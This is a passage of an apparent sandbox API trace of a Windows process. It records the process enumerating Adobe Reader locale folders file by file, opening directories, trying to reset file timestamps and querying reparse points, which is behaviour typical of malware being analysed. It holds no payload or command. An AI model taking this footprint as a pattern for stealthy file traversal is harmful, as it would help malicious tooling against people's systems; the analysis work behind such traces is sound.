ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.727] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9270, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="")) returned 1 [0082.727] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.727] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.727] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.727] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.727] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.728] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129c250 [0082.728] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.728] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214220 [0082.728] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129c358 [0082.729] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.729] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 1 [0082.729] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.729] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.729] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.729] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.729] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.730] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214240 [0082.730] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129c460 [0082.730] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.730] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 0 [0082.730] GetLastError () returned 0x12 [0082.730] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e8f80 [0082.730] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0082.730] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.730] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9270, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="")) returned 1 [0082.730] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 1 [0082.731] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 0 [0082.731] GetLastError () returned 0x12 [0082.731] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x129c148) returned 1 [0082.731] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0082.731] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x129c250) returned 1 [0082.731] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x129c040) returned 1 [0082.731] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfea540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.TUR", cAlternateFileName="")) returned 1 [0082.731] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f50a880, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Updater.TUR", cAlternateFileName="")) returned 1 [0082.733] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830ff2a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.TUR", cAlternateFileName="")) returned 1 [0082.733] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830ff2a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.TUR", cAlternateFileName="")) returned 0 [0082.733] GetLastError () returned 0x12 [0082.734] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.734] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0082.734] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0082.734] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.734] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk_UA", cAlternateFileName="")) returned 1 [0082.734] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.734] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0082.735] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0082.736] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0082.736] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11ec790 [0082.736] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11ec790, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x11ec790, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0082.736] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0082.736] NtClose (Handle=0x16c) returned 0x0 [0082.736] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.736] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.737] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.737] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.737] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9100 [0082.739] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.739] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db4daa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.UKR", cAlternateFileName="")) returned 1 [0082.739] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.739] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.739] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.739] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.740] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.740] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0082.740] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.740] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214260 [0082.740] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129c040 [0082.741] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.741] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830b2fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x65600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.UKR", cAlternateFileName="")) returned 1 [0082.741] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.741] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.741] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.741] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.741] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.742] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214280 [0082.742] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129c250 [0082.742] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.742] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d0fa60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.UKR", cAlternateFileName="")) returned 1 [0082.742] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.743] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.743] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.743] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.743] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.743] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12142a0 [0082.743] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129c148 [0082.744] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.744] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7aa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.UKR", cAlternateFileName="")) returned 1 [0082.744] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.744] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.744] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.744] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.744] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.745] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12142c0 [0082.745] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129c568 [0082.745] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.745] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820a1b60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.UKR", cAlternateFileName="")) returned 1 [0082.745] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.746] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.746] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.746] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.746] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.746] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12142e0 [0082.746] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129c670 [0082.747] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.747] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830b2fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.UKR", cAlternateFileName="")) returned 1 [0082.747] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.747] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.747] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.748] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.748] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.748] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214300 [0082.748] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129c778 [0082.748] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.748] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830b2fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e800, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.UKR", cAlternateFileName="")) returned 1 [0082.748] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.749] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.749] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.749] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.749] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.749] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214320 [0082.750] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129c880 [0082.750] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.750] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830b2fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.UKR", cAlternateFileName="")) returned 1 [0082.750] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.750] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.750] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.751] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.751] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.751] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214340 [0082.751] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129c988 [0082.751] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.751] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83255f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.UKR", cAlternateFileName="")) returned 1 [0082.752] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.752] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.752] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.752] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.752] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.752] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214360 [0082.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129ca90 [0082.753] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.753] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830b2fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.UKR", cAlternateFileName="")) returned 1 [0082.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.753] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.754] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.754] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.754] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214380 